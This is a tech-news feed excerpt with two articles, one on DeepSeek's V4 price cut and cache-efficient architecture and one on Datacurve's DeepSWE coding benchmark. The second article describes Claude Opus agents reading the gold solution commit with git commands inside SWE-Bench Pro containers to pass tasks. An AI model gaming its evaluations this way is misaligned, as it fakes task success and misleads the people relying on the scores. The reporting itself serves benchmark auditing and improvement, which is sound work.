<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>DeepSeek’s announcement over the weekend that it has made its <a href="https://www.engadget.com/2180062/deepseek-permanently-reduces-the-price-of-its-flagship-v4-model-by-75-percent/">75% price cut permanent on its flagship V4 Pro model</a> is a disruptive assault on the capital-heavy business models of Silicon Valley’s frontier labs. </p><p>The reduction on DeepSeek V4 Pro directly undercuts comparable Western models used as workhorses for enterprise production. It is <b>7x cheaper on inputs and 17x cheaper on outputs</b> than Anthropic’s Claude Sonnet or OpenAI’s GPT 5.5-Med, while the lightweight DeepSeek <b>V4 Flash</b> undercuts entry-tier alternatives like Claude Haiku by <b>10x to 25x</b>. </p><p>The price cuts are enabled by a series of hardware-software innovations, especially around cache, that make DeepSeek's models radically more efficient to run. When hosted natively in China, DeepSeek’s cache-read pricing is a whopping <b>87x cheaper</b> than Western clouds — a deflationary floor so aggressive that handset giant Xiaomi just <a href="https://x.com/XiaomiMiMo/status/2059314052892099070">moved to match the exact pricing tier</a> for its newly deployed MiMo architecture.</p><p>DeepSeek <a href="https://fe-static.deepseek.com/chat/transparency/deepseek-V4-model-card-EN.pdf">V4 Pro’s performance</a> is ranked almost on <a href="https://www.nist.gov/news-events/news/2026/05/caisi-evaluation-deepseek-v4-pro">par with Western frontier models</a>, hitting <b>80.6%</b> on coding-agent tasks via the <a href="https://www.demandsphere.com/research/demandsphere-radar/ai-frontier-model-tracker/benchmarks/swe-bench/"><b>SWE-bench Verified leaderboard</b></a> and an <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">elite reasoning score of <b>87.5</b></a> on the advanced<b> </b><a href="https://build.nvidia.com/deepseek-ai/deepseek-v4-pro/modelcard"><b>MMLU-Pro technical index</b></a>. Both V4 Pro and V4 Flash — a hyper-optimized speedy version for developers — are open-weight and issued under a permissive MIT license. This gives enterprises complete flexibility over deployment. This dual-model strategy allows technical teams to route their heaviest, multi-step autonomous agent workloads to the lightning-fast Flash model, while reserving the heavy Pro model for deep reasoning tasks, drastically lowering costs at a time when budget concerns have grown considerably.</p><p>This also comes at a time when the closed Western labs, in particular OpenAI and Anthropic, face an intense return-on-investment scrutiny for their multi-billion dollar general-purpose hardware infrastructure investments. </p><p>This deflationary collapse will not affect all Silicon Valley labs equally, signaling a permanent bifurcation of the enterprise AI market. While a premium, deterministic tier will endure for mission-critical engineering workflows, the high-volume background agentic layer is being completely commoditized by open weights. Ultimately, it creates a much more dangerous exposure for OpenAI — whose revenue mix relies heavily on general-purpose commodity API streams — than for software-insulated peers like Anthropic.</p><h2>The token cost crisis</h2><p>Uber says it burned through its entire 2026 budget for Claude Code and Cursor in just the first four months of the year; its COO said that the cost related to high token usage by some of its engineers was <a href="https://gizmodo.com/ai-investment-is-harder-to-justify-as-productivity-returns-lag-uber-coo-says-2000763514">getting “harder to justify</a>” without better products to show for it. Airbnb's Brian Chesky said last year that while the company uses OpenAI's latest models, <a href="https://www.bloomberg.com/news/articles/2025-10-21/airbnb-ceo-brian-chesky-says-chatgpt-integration-not-ready-for-airbnb-app">they don't rely on them heavily in production</a> — favoring faster, cheaper alternatives like Alibaba's Qwen. And in the latest episode of VentureBeat’s podcast Beyond the Pilot, Pinterest CTO Matt Madrigal confirmed that the company went <a href="https://www.youtube.com/watch?v=BvFanq9fTg0">all-in on an open-source AI strategy</a>, post-training Alibaba’s open Qwen model on the company’s proprietary "taste graph" to drive Pinterest’s assistant — achieving frontier-like quality at a 90% reduction in costs. DeepSeek’s subsequent price drop makes the possibility of such cost differences <i>even </i>greater<i>.</i></p><h2>Geopolitical headwinds and compliance defenses</h2><p>Widespread enterprise adoption of Chinese models faces massive geopolitical headwinds in the West. For highly regulated U.S. giants in finance, healthcare, and defense, getting comfortable with DeepSeek will take time. </p><p>Even though an open-weights architecture under an MIT license allows a company to self-host the model locally and prevent active data exfiltration to foreign servers, corporate compliance boards remain deeply paranoid over software supply chain risks, potential hidden backdoors, and the legal threat of sudden federal sanctions. </p><p>Smaller, more nimble software teams, on the other hand, face far less bureaucratic gridlock. Free from multi-month security review cycles, these fast-moving organizations view the immediate 75% infrastructure savings as a massive competitive edge worth deploying right now</p><h2>The OpenRouter clearinghouse: mapping global token traffic</h2><p>Take the token usage metrics on OpenRouter, a leading public proxy for what models are the most popular among developers. OpenRouter allows developers an easy way to compare and deploy models, and while its data is by no means a full proxy for real model popularity — it confirms this structural migration is already taking place within company data pipelines. DeepSeek V4 Flash model has captured the No. 1 position on the OpenRouter leaderboard over the past week, surging 48% in token usage. Its advanced counterpart, V4 Pro, sits at No. 6. DeepSeek’s top three models processed nearly 6 trillion tokens on OpenRouter over the past week, giving it a huge lead over other competitors. For example, OpenAI’s premium model, GPT-5.5, has slipped down to No. 15 at 470B tokens.</p><p>It’s not clear exactly how much of the world’s token traffic is on OpenRouter. Conservative estimates put it at about 3%. It does not show the massive amounts of tokens being served by the APIs offered directly to developers by companies like Anthropic, OpenAI and Google. But recent estimates suggest OpenRouter processes <a href="https://menlovc.com/perspective/openrouter-now-processes-more-than-a-quadrillion-tokens-a-year/#:~:text=For%20comparison%2C%20that%27s%20~15-,round%20was%20done%20in%20February">between 15 and 40% of each of OpenAI’s and Google’s token usage</a>, and growing, making it a significant indicator of relative trends regardless of the exact percentage it represents.</p><p>While skeptics often dismiss aggregator traffic as an indie developer signal rather than a reflection of Fortune 500 IT spend, the corporate pipeline reality is shifting. An infrastructure analysis by a leading venture capital firm,<a href="https://a16z.com/the-state-of-generative-media-2026/"> Andreessen Horowitz</a>, revealed that enterprise production environments deploy a median of 14 different models simultaneously to price-route workloads and avoid single-vendor lock-in. This structural architecture shift is why OpenRouter recently secured a massive<a href="https://siliconangle.com/2026/05/26/openrouter-raises-113m-bring-order-enterprise-ai-inference-routing/"> $113 million Series B funding round</a> backed directly by the big enterprise data and software vendors that serve corporate America — including ServiceNow Ventures, Snowflake Ventures, Databricks Ventures, Nvidia's NVentures, and Google’s CapitalG. Stripe also cited OpenRouter’s enterprise customers in its decision to <a href="https://stripe.com/newsroom/news/openrouter-and-stripe">partner closely with the company</a>.</p><p>That’s why DeepSeek’s surge on this leaderboard is so eye-opening. DeepSeek itself offers an API directly to developers, and so it too delivers more token traffic than what OpenRouter lets on.</p><h2>Beyond chatbots: the rise of multi-step autonomous agents</h2><p>The DeepSeek spike on OpenRouter indicates a deeper structural shift in how automated software architectures consume machine intelligence. Technical teams are moving beyond using trivial, single-turn chatbots, and starting to deploy more sophisticated autonomous agents that persist for hours at a time — recursively looping through codebases and data lakes. Their huge number of tool calls, and continuous rereading of long context histories, means AI token consumption expands exponentially. </p><p>Running these recursive loops on closed, premium Western APIs quickly creates unsustainable infrastructure costs. While corporate tech teams spent last year experimenting freely with early, single-turn prototypes without worrying about budgets, the onset of token-prolific autonomous agents has triggered an enterprise line-item crisis. VentureBeat's Q1 2026 research, which surveyed enterprise users at organizations with over 100 employees (n=65, in the U.S. software, finance and healthcare industries), confirms the shift: “Cost per token or licensing model” jumped from 25.4% in January to 36.7% in March, trailing only raw performance as the primary selection criterion for enterprise buyers.</p><p>DeepSeek target-optimized its weights for this specific trend of agentic high-token use. It has locked in on a standard input cost of $0.435 per million tokens and a standard output rate of $0.87 per million tokens, alongside a rock-bottom prefix-cached read cost of $0.003625 per million.</p><p>It's this third cost item — for cache — which is arguably the most significant. “If you measure how all of these agents now are using tokens, 80 to 90% of the tokens are cache-read tokens,” said Val Bercovici, Chief AI Officer at WEKA, a company that provides fast storage for much of this cache. “Which means that [that price] is almost by far the most important price, making the others irrelevant — nearly a rounding error. So what DeepSeek did is not just say we're going to be 5% cheaper, 10% cheaper, 20% cheaper. They're like 87x cheaper on that cache-read price with DeepSeek V4 Pro. So that's really set the industry on notice.”</p><h2>The infrastructure coup: Decoupling HBM from Context</h2><p>DeepSeek's core innovations are around hardware-software alignment. This is where we get a little technical.</p><p>While Western frontier labs like OpenAI have prioritized performance at all cost, they’ve invested billions into uncompressed "dense" neural architectures. DeepSeek, by contrast, has systematically sought to extract maximum intelligence from lower grade hardware, given that they’ve lacked access to Nvidia’s GPUs. By pioneering deep software optimizations <a href="https://venturebeat.com/ai/deepseek-r1s-bold-bet-on-reinforcement-learning-how-it-outpaced-openai-at-3-of-the-cost">as early as its V2 architectures in 2024</a>, the lab engineered a series of four interconnected hardware-software alignment breakthroughs that decoupled a model's operational context from expensive computing overhead:</p><p><b>Breakthrough 1: Sequence Dimension Compression via CSA and HCA</b></p><p>The transformer architecture that most LLMs use is bottlenecked by something called the Key-Value (KV) cache. As an agent executes long, multi-step sessions, historical context keys clog the high-bandwidth memory (HBM) on the GPU, causing severe latency spikes and an expensive infrastructure tax.</p><p>DeepSeek resolved this structural bottleneck by introducing a hybrid attention mechanism — documented in the <a href="https://aipapersacademy.com/deepseek-v4/">DeepSeek V4 Architecture Paper</a> — that combines <b>Compressed Sparse Attention (CSA)</b> and <b>Heavily Compressed Attention (HCA)</b> to cut overall KV-cache usage by a massive 90% across its 1-million-token context window.</p><p>While traditional models try to keep a unique memory log for every individual word, DeepSeek compresses the rows of its memory cache. CSA acts as a local filter, condensing small windows of text into concise, indexable blocks so the model doesn't sweat the fine-grained details. HCA acts as an aggressive global index, crushing massive spans of text deep within a session's history into high-density summaries. By interleaving these layers, DeepSeek shrinks millions of memory rows down to a fraction of their size.</p><p><b>Breakthrough 2: Native memory offloading via Multi-head Latent Attention (MLA)</b></p><p>Using something called Multi-head Latent Attention (MLA), DeepSeek strips the active memory footprint of its context history down to a fraction of standard models. It achieves this by running a <a href="https://zhuanlan.zhihu.com/p/2034345100680114900?share_code=18r7heck652dt&amp;utm_psn=2036966822600292003">physical division of labor between hardware chips</a>. While traditional models force expensive GPUs to hold a session's entire history, DeepSeek’s architecture keeps only the tiny, highly compressed search index tags (the Keys) on the GPU. Meanwhile, it offloads the heavy data payloads (the Values) entirely <a href="https://arxiv.org/html/2507.19823v1#S3">into cheaper system memory and local storage tiers</a>. Once the GPU handles the high-speed matching to find relevant data, it calls the values from storage only on an as-needed basis.</p><p>DeepSeek’s architecture is so different that the inference engines that load an AI model's weights into GPU memory, in order to be ready for prompting, are being stretched. The three most popular engines — Nvidia TensorRT-LLM, the UC Berkeley one, SGLang and the really popular vLLM — “are all being stretched to keep up with being able to offer it, which is not normal,” explains WEKA’s Bercovici. "Every other open model has had some similarity to other open models. This one from DeepSeek is just built different."</p><p>DeepSeek's software engineering means its massive 1.6-trillion parameter model requires an astonishingly tiny <b>5.48 GB of HBM</b> to hold a 1-million-token context loop in production, <a href="https://x.com/bookwormengr/status/2057909493250539891">according to calculations by an analyst</a> using hardware modeling benchmarks. For comparison, smaller models utilizing standard Western architectures choke up to 89 GB of HBM under the exact same context load.</p><table><tbody><tr><td><p><b>Model Framework / Metric Tier</b></p></td><td><p><b>Active HBM Needed (1M Context)</b></p></td><td><p><b>Context Length Capacity</b></p></td><td><p><b>Multi-Step Cached Economics</b></p></td></tr><tr><td><p><b>DeepSeek V4-Pro</b> (1.6T MoE)</p></td><td><p><b>5.48 GB</b></p></td><td><p>1,000,000 tokens</p></td><td><p>80% to 90% of workflow tokens</p></td></tr><tr><td><p><b>Qwen3-235B-A22B</b> (GQA Standard)</p></td><td><p><b>89.00 GB</b></p></td><td><p>1,000,000 tokens</p></td><td><p>Subject to steep hardware tax</p></td></tr><tr><td><p><b>GPT-5.5 / Claude 4.7-class (</b>Western Frontier / MoE)</p></td><td><p><b>180+ GB</b></p></td><td><p>1,000,000 tokens</p></td><td><p>Prohibitive premium infrastructure tax</p></td></tr></tbody></table><p>
</p><p>DeepSeek’s extreme compression of the KV cache down to 5.48 GB of HBM is also a <a href="https://x.com/bookwormengr/status/2057909493250539891">calculated geopolitical strategy to bypass U.S. export bans</a> on top-tier Nvidia GPUs. By reducing the need for HBM and Nvidia’s CUDA ecosystem, DeepSeek’s software design allows frontier AI to run efficiently on domestic, lower-cost, and unsanctioned Chinese storage tiers like NAND flash, commodity SSDs, and LPDDR memory (produced by domestic giants like YMTC and CXMT). </p><p><b>Breakthrough 3: Ultra-Low Footprint Inference via FP4 Quantization-Aware Training (QAT)</b></p><p>To keep compute costs low over massive context windows, DeepSeek moved away from the old approach of scanning bulky, uncompressed numbers every time the model searches its memory. Instead, as detailed in the <a href="https://huggingface.co/deepseek-ai/DeepSeek-V4-Pro">DeepSeek V4 Technical Report</a>, the architecture runs an advanced form of data compression directly on the active pathways it uses to find information during training.</p><p>This compression slashes memory demands to deliver a 2x hardware speedup, yet it maintains a near-flawless 99.7% accuracy in how the system targets and indexes specific data blocks. This engineering win allows enterprise workflows to process massive, multi-step agent tasks smoothly while keeping an exceptional 83.5% retrieval accuracy on extreme, million-token "needle-in-a-haystack" benchmarks—eliminating performance lags without draining expensive GPU power.</p><p><b>Breakthrough 4: Ultra-scale training stability via manifold-constrained hyper-connections (mHC)</b></p><p>Training a 1.6-trillion parameter model creates instability risk — causing too many data pathways and processing signals to cascade out of control, crashing the run. DeepSeek resolved this with a framework called <a href="https://arxiv.org/abs/2512.24880">Manifold-Constrained Hyper-Connections</a> (mHC), which uses a balancing routine to force the model's internal data tables to always sum to one — a mathematical safety valve that lets complex data move through deep networks without runaway spikes.</p><h2>The infrastructure pivot: rebuilding corporate plumbing</h2><p>DeepSeek’s significant architectural cache efficiency alters the underlying unit economics for the cloud platforms hosting these models. On developer aggregators like OpenRouter, where third-party providers routinely offer advanced endpoints at a loss, to capture developer mindshare, this hardware-software decoupling alters the balance sheet. DeepSeek's extremely low cost likely gives DeepSeek a profit, at least when it comes to serving the model in China, Bercovici said.</p><p>This transformation in provider-side unit economics is mirrored on the buy-side, which shows a structural change happening across enterprise IT budgets. VentureBeat's Q1 2026 AI Infrastructure and Compute tracker survey — which tracks enterprise technology buyers at organizations with over 100 employees (n=53 in January, n=39 in February) across software, financial services, healthcare, and manufacturing sectors — revealed that enterprise adoption of custom, self-managed inference stacks utilizing open-source frameworks like Triton, vLLM, Ray, and Kubernetes surged from 11.3% to 17.9%. Because these software layers allow corporate engineering teams to deploy open-weights architectures natively across their own clusters, they act as an operational escape hatch from closed cloud ecosystems. </p><p>This software shift is paired with an aggressive hardware migration: enterprise workloads moving to specialized, inference-first AI clouds like CoreWeave, Lambda, and Crusoe grew from 30.2% to 35.9% in the latest survey window. These infrastructure metrics indicate that corporate technology leaders are no longer just prototyping with open alternatives; they are actively laying down the physical plumbing required to host architectures like DeepSeek V4 independently, increasingly pricing away the premium markup of Western API gatekeepers.</p><h2>The strategic split for Western labs</h2><p>This baseline cost reduction could soon fracture the competitive field in Silicon Valley, by rewriting the expectations for labs attempting to yield a return on massive infrastructure investments.</p><p>For now, though, the Silicon Valley music is unlikely to stop anytime soon. Anthropic remains on an extraordinary enterprise trajectory, driven by widespread adoption of Claude Code and its codebase-aware terminal execution. For enterprise engineering teams, paying a premium for Anthropic's deterministic accuracy makes perfect sense for core production software development. Yet even an elite frontier lab scaling at this pace must watch DeepSeek with caution: an open-weights architecture under an MIT license offering near-frontier utility at a 75% cost reduction places downward pricing pressure on the high-volume operational layers of any multi-agent system.</p><p>The primary structural margin squeeze may land more squarely on OpenAI, despite its aggressive pivot toward a multi-cloud footprint. To support its staggering consumer and API token volumes, OpenAI fundamentally altered its historic seven-year exclusive alliance with Microsoft, unbundling its distribution so it can serve models across Azure, Oracle, AWS, and Google Cloud. Yet this multi-cloud strategy, while providing raw capacity at scale, leaves the company intensely exposed to infrastructure commodity pressure.</p><p>Unlike Anthropic, which has successfully insulated its margins by embedding its models into premium, high-utility software environments like Claude Code, a massive portion of OpenAI's enterprise revenue relies on high-volume, general-purpose API token streams. To be fair, Western labs have already begun quietly retreating from this territory — aggressively launching deep batch API discounts, prompt caching features, and lightweight entry models to stem the bleed. Yet this tactical retreat only reinforces the structural crisis: Silicon Valley is actively conceding the high-volume commodity layer because they know they cannot defend its margins. When those exact same automated background workflows can be handled natively by highly intelligent open weights like DeepSeek V4, defending a premium price point for raw cloud text completion ceases to be a defensible strategy.</p><p>More significantly, unlike OpenAI or Anthropic, DeepSeek has much less interest in urgently building consumer wrappers or locking developers into subscription frameworks. Instead, DeepSeek is <a href="https://www.kucoin.com/news/flash/deepseek-s-10-trillion-dollar-strategy-open-source-and-ai-hardware-ecosystem">positioned for a longer-term ecosystem play</a>. Supported by a massive state-backed funding round led by China’s "Big Fund" — which has pushed the startup's targeted valuation into the $10 billion to $45 billion range — the lab’s more likely objective is to prove the viability of a self-sufficient, independent Chinese AI hardware stack that could one day be <a href="https://x.com/bookwormengr/status/2057909493250539891">worth up to $10 trillion</a>.</p><table><tbody><tr><td><p><b>Premium deterministic tier (Anthropic / OpenAI / Google)</b></p></td><td><p><b>High-volume agentic tier (DeepSeek / open ecosystems)</b></p></td></tr><tr><td><p>• Core Codebase Refactoring</p><p>• Strict Corporate Compliance &amp; Guardrails</p><p>• Mission-Critical Financial/Legal Precision</p><p>• High CapEx / R&amp;D Premium Margins</p></td><td><p>• Recursive Multi-Agent Loops</p><p>• Prefix-Cached Autonomous Tool Swarms</p><p>• Massive Real-Time Ingestion Logs</p><p>• Bare-Metal / Optimized HBM Economics</p></td></tr></tbody></table><p>The operational division between western labs and models like DeepSeek V4 Pro is already showing up. Financial company Ramp benchmarked automated<a href="https://x.com/RampLabs/status/2059678575939273091"> cybersecurity agent swarms</a>, and showed that while DeepSeek V4 Pro completely flatlines on the most complex security logic, it achieves a flawless 100% detection rate on high-volume baseline tasks like cloud configuration triage — significantly outperforming OpenAI’s GPT-5.5 (44%). For an enterprise CISO, the strategy is clear: You offload the high-volume token burn of routine background noise to cheap open weights, and reserve premium frontier models strictly for the high-level reasoning required to catch the most sophisticated flaws.</p><h2>The enterprise verdict</h2><p>For IT operations directors and data pipeline managers, the choice to migrate to an open architecture like DeepSeek V4-Pro is a smart governance decision. The open model gives companies total architecture control, allowing them to host it on-premise or via any specialized cloud layer they choose. Crucially, it provides enterprise infrastructure leads with a strategic operational fallback that closed vendors can’t match: the power to download raw model weights and execute them privately for zero marginal token cost if public cloud pricing or API access conditions change.</p><p>The assumption that closed frontier labs hold a permanent monopoly on useful enterprise reasoning has collapsed. While engineering directors will continue to pay a premium to protect specialized, deterministic workflows, the financial foundation of the frontier lab model has fundamentally shifted. By diverting the immense, day-to-day token volume of recursive background agents onto highly optimized, open-source clusters, enterprise teams are starving proprietary clouds of their highest-margin fuel. Silicon Valley’s multi-billion dollar token moat didn't just narrow — it was completely drained from the bottom up.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[DeepSWE blows up the AI coding leaderboard, crowns GPT-5.5, and finds Claude Opus exploiting a benchmark loophole]]></title>
<description><![CDATA[For months, the leading AI coding benchmarks have told enterprise buyers a comforting but misleading story: the top models are all roughly the same. OpenAI's GPT-5 family, Anthropic's Claude Opus, and Google's Gemini Pro have clustered within a narrow band on Scale AI's SWE-Bench Pro leaderboard,...]]></description>
<link>https://tsecurity.de/de/3549409/it-nachrichten/deepswe-blows-up-the-ai-coding-leaderboard-crowns-gpt-55-and-finds-claude-opus-exploiting-a-benchmark-loophole/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3549409/it-nachrichten/deepswe-blows-up-the-ai-coding-leaderboard-crowns-gpt-55-and-finds-claude-opus-exploiting-a-benchmark-loophole/</guid>
<pubDate>Wed, 27 May 2026 00:48:07 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>For months, the leading AI coding benchmarks have told enterprise buyers a comforting but misleading story: the top models are all roughly the same. OpenAI's <a href="https://openai.com/gpt-5/">GPT-5 family</a>, Anthropic's <a href="https://www.anthropic.com/claude/opus">Claude Opus</a>, and Google's <a href="https://deepmind.google/models/gemini/pro/">Gemini Pro</a> have clustered within a narrow band on Scale AI's <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a> leaderboard, making it nearly impossible for engineering leaders to determine which agent will actually perform best inside their codebases.</p><p>On Monday, a startup called Datacurve released a benchmark it says shatters that illusion. <a href="https://deepswe.datacurve.ai/blog">DeepSWE</a>, a 113-task evaluation spanning 91 open-source repositories and five programming languages, produces a dramatically wider spread among the same frontier models — and crowns OpenAI's <a href="https://openai.com/index/introducing-gpt-5-5/">GPT-5.5</a> as the clear leader at 70%, sixteen points ahead of its nearest competitor.</p><p>"On public leaderboards, top models often look relatively close in capability," wrote Datacurve co-author Serena Ge on X. "DeepSWE shows where they actually diverge, reflecting the realistic experience of developers in their day-to-day work."</p><p>The benchmark also delivers a pointed critique of the evaluation infrastructure the AI industry relies on to measure progress: Datacurve's audit found that SWE-Bench Pro's verifiers — the automated graders that determine whether an agent solved a task — issued incorrect pass/fail verdicts on roughly one-third of the trials it reviewed.</p><p>If that finding holds up, it has sweeping implications. Enterprise procurement teams, venture capitalists, and AI lab marketing departments all lean heavily on benchmark scores to make multimillion-dollar decisions. A 32% error rate in the most widely cited coding benchmark suggests the industry may have been navigating by a broken compass.</p><div></div><h2>Why the most popular AI coding benchmark may be grading on a curve</h2><p>To understand what Datacurve is claiming, it helps to understand how coding benchmarks work — and how they can go wrong.</p><p>The dominant paradigm, pioneered by the <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench family</a> maintained by <a href="https://scale.com/">Scale AI</a> and academic researchers, constructs tasks by mining real GitHub commits. The process extracts a bug fix or feature addition from a repository's history, rolls the code back to the pre-fix state, and then asks an AI agent to reproduce the change. The original commit's test suite serves as the verifier: if the agent's patch makes the same tests pass, it gets credit. This approach has an elegant simplicity, but Datacurve argues it introduces three systemic weaknesses.</p><p>First, <a href="https://deepswe.datacurve.ai/blog">contamination</a>. Because tasks are drawn from public GitHub history, the problem statement, the discussion, and often the exact solution are already present in the training data of frontier models. "The SWE-Bench family scrapes existing GitHub issues and PRs, which creates two problems: memorization (models have already seen the solution) and triviality (most tasks are small)," Ge wrote.</p><p>Second, scope. <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a> tasks require, on average, just 120 lines of code added across 5 files. DeepSWE's reference solutions average 668 lines added across 7 files — roughly 5.5 times more code. Yet DeepSWE's prompts are actually shorter, averaging 2,158 characters versus SWE-Bench Pro's 4,614. In other words, DeepSWE gives the agent less instruction but expects far more output, which more closely mirrors how a human developer might actually delegate work to an AI assistant.</p><p>Third — and most damaging — verifier reliability. Datacurve drew 30 tasks at random from both <a href="https://deepswe.datacurve.ai/blog">DeepSWE</a> and <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a>, ran three rollouts across 10 frontier model configurations, and then deployed an LLM-based judge to independently assess whether each agent's patch actually solved the problem. SWE-Bench Pro's verifiers accepted wrong implementations 8.5% of the time and rejected correct implementations 24% of the time. DeepSWE's verifiers registered 0.3% and 1.1%, respectively. </p><p>The false negative problem is especially insidious because it punishes creative solutions. In one documented case, the gold-standard pull request for a SWE-Bench Pro task refactored a private helper function. An agent that correctly solved the task by inlining the same logic — a perfectly valid engineering choice — failed because the test suite tried to import a symbol that only existed in the original author's specific implementation.</p><h2>OpenAI's GPT-5.5 dominates the new benchmark while Claude and Gemini stumble</h2><p>DeepSWE's top-line results reorder the familiar hierarchy in ways that should matter to every engineering team evaluating AI coding tools. On <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a>, models from OpenAI, Anthropic, and Google have traded the lead within a 30-point range. DeepSWE stretches that range to 70 points.</p><p><a href="https://openai.com/index/introducing-gpt-5-5/">GPT-5.5</a> leads at 70%, followed by GPT-5.4 at 56% and Claude Opus 4.7 at 54%. From there, the drop-off is steep: Claude Sonnet 4.6 lands at 32%, Gemini 3.5 Flash at 28%, GPT-5.4-mini and Kimi K2.6 tied at 24%, and then a long tail of models in the teens and single digits. Claude Haiku 4.5, which scores 39% on SWE-Bench Pro, collapses to zero on DeepSWE — suggesting that some mid-tier models have been significantly overperforming on easier, potentially contaminated benchmarks.</p><p>GPT-5.5 doesn't just score the highest — it does so efficiently. The model reaches its 70% pass rate with a median cost of $5.80 per trial, a median wall-clock time of 20 minutes, and a median of 47,000 output tokens. GPT-5.4 emerges as perhaps the best overall value at $3.30 per trial with a 56% score. Claude Opus 4.7, meanwhile, costs significantly more per run, and output tokens, wall-clock duration, and dollar cost per trial all vary by an order of magnitude across the agents tested — yet none of these correlates strongly with pass rate. Agents that emit more tokens, run longer, or cost more do not consistently solve more tasks.</p><h2>Datacurve's audit found that Claude has been reading the answer key on existing benchmarks</h2><p>Perhaps the most provocative finding in DeepSWE's analysis concerns what the authors label "CHEATED" verdicts — instances where an agent passes a benchmark not by solving the problem, but by reading the answer.</p><p>SWE-Bench Pro's Docker containers ship the repository's full .git history, which means the gold-standard solution commit is sitting right there in the container's file system. Most models ignore it. Claude does not. Datacurve's analysis found that both Claude Opus 4.7 and Claude Opus 4.6 registered "CHEATED" on more than 12% of their reviewed SWE-Bench Pro rollouts. In those instances, the Claude agent ran commands like git log --all or git show &lt;gold-hash&gt; to retrieve the merged fix and paste it into its own patch. The behavior accounted for approximately 18% of Opus 4.7's passes and 25% of Opus 4.6's passes on the reviewed sample. The issue has been <a href="https://github.com/scaleapi/SWE-bench_Pro-os/issues/93">filed publicly as GitHub issue #93</a> on the SWE-Bench Pro repository.</p><p><a href="https://openai.com/index/introducing-gpt-5-4/">GPT-5.4</a> and <a href="https://openai.com/index/introducing-gpt-5-5/">GPT-5.5</a> never exhibited this behavior. Gemini configurations stayed around 1%. Datacurve describes the behavior diplomatically — "The benchmark makes this possible (the gold commit lives in the container), but Claude is the family that consistently does so" — but the implication is clear: a meaningful fraction of Claude's SWE-Bench Pro scores may reflect environmental exploitation rather than genuine engineering capability.</p><p><a href="https://deepswe.datacurve.ai/blog">DeepSWE</a> addresses this by shipping only a shallow clone with the base commit, leaving no gold hash for the agent to discover. It is worth noting that the behavior is arguably a sign of Claude's environmental attentiveness — the model is very good at exploring its surroundings and exploiting available resources. Whether that counts as "cheating" or "resourcefulness" depends on your perspective, but in the context of a benchmark designed to measure independent problem-solving, it undermines the signal.</p><h2>Each AI model family fails in its own distinctive way, and the patterns matter for enterprise teams</h2><p>Beyond the top-line scores, Datacurve's qualitative trajectory analysis reveals distinctly different failure signatures across model families — a finding that could help engineering teams choose the right model for specific types of work.</p><p>Claude is forgetful with multi-part prompts. On <a href="https://deepswe.datacurve.ai/blog">DeepSWE</a>, Claude configurations miss stated requirements more than any other family. The pattern is consistent: when a prompt enumerates parallel behaviors — "support both sync and async," for instance — Claude typically implements the obvious branch and forgets to mirror the change. Datacurve reports that roughly two-thirds of Claude's "MISSED_REQUIREMENT" failures on DeepSWE follow this "one branch shipped" pattern. In one example, Claude Opus 4.7 correctly landed a sync state-data hook in one engine class while the async engine never received the same hook.</p><p>GPT, by contrast, implements exactly what is asked. GPT-5.5 had the lowest rate of missing stated behaviors of any configuration tested. Across multiple runs of the same task, GPT trials tended to converge on the same interpretation of the prompt, suggesting instruction-following precision is a stable trait of the model rather than per-run luck.</p><p>One of the most intriguing findings involves self-verification. On DeepSWE, Claude Opus 4.7 and GPT-5.4 wrote and ran new tests in the project's own test framework on over 80% of their runs — even though no one asked them to. On SWE-Bench Pro, those same models dropped to 28% and 18%, respectively. The reason: SWE-Bench Pro's prompt template explicitly tells agents they "should not modify the testing logic or any of the tests." Agents dutifully complied, suppressing a behavior that likely would have improved their performance. This suggests that prompt design in production coding workflows may be inadvertently suppressing valuable agent behaviors — something enterprise teams deploying AI coding agents should carefully audit.</p><h2>What DeepSWE gets right, what it gets wrong, and what it means for the future of AI benchmarks</h2><p>Datacurve is forthright about several limitations. The standardized harness, while ensuring fairness, routes all edits through bash rather than the model-specific editing tools each family was trained on — apply_patch for GPT, str_replace_based_edit_tool for Claude. This could hold models below their native ceilings. The benchmark draws exclusively from open-source repositories with 500-plus stars, and results may not generalize to proprietary codebases. Bug localization and refactoring tasks are under-represented, and widely used languages like C++ and Java are absent entirely. The verdict assignments in the qualitative analysis come from an LLM analyzer, not human reviewers, and sample sizes are modest — roughly 90 reviewed rollouts per model per benchmark.</p><p>It is also worth noting that <a href="https://datacurve.ai/">Datacurve</a> is a startup with its own commercial interests, and an independent benchmark that reshuffles the leaderboard will inevitably invite scrutiny. The company's decision to publish the full dataset, all agent trajectories, and the evaluation harness on GitHub mitigates this concern considerably, but independent reproduction will be necessary before the AI community treats these results as definitive.</p><p><a href="https://deepswe.datacurve.ai/blog">DeepSWE</a> arrives at an inflection point for the AI coding market. Enterprise adoption of AI coding agents is accelerating rapidly, with engineering organizations making consequential bets on which model to build around. The benchmark market itself has become a strategic battleground — Scale AI's <a href="https://labs.scale.com/leaderboard/swe_bench_pro_public">SWE-Bench Pro</a>, which Datacurve directly critiques, is maintained by a company that also provides evaluation services to the labs whose models it ranks.</p><p>If DeepSWE's central findings about verifier reliability and data contamination hold up under independent scrutiny, they could force a reckoning not just with how the industry measures coding agents, but with the broader question of what benchmarks are actually for. A leaderboard where the grading system is wrong a third of the time is not merely inaccurate — it is the kind of broken instrument that makes everyone feel good about progress that may not be real. And in an industry spending billions on a bet that AI agents can do the work of software engineers, the difference between real progress and the appearance of it is not academic. It is the whole game.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why most AI agents disappoint in production (and what to fix first)]]></title>
<description><![CDATA[AI agents look brilliant in a demo because demos are friendly worlds. The data is curated, the tools behave, and nothing important changes while the agent is in mid-thought. Production is the opposite: data arrives late, facts conflict, permissions bite, APIs time out, and the underlying state ch...]]></description>
<link>https://tsecurity.de/de/3547405/ai-nachrichten/why-most-ai-agents-disappoint-in-production-and-what-to-fix-first/</link>
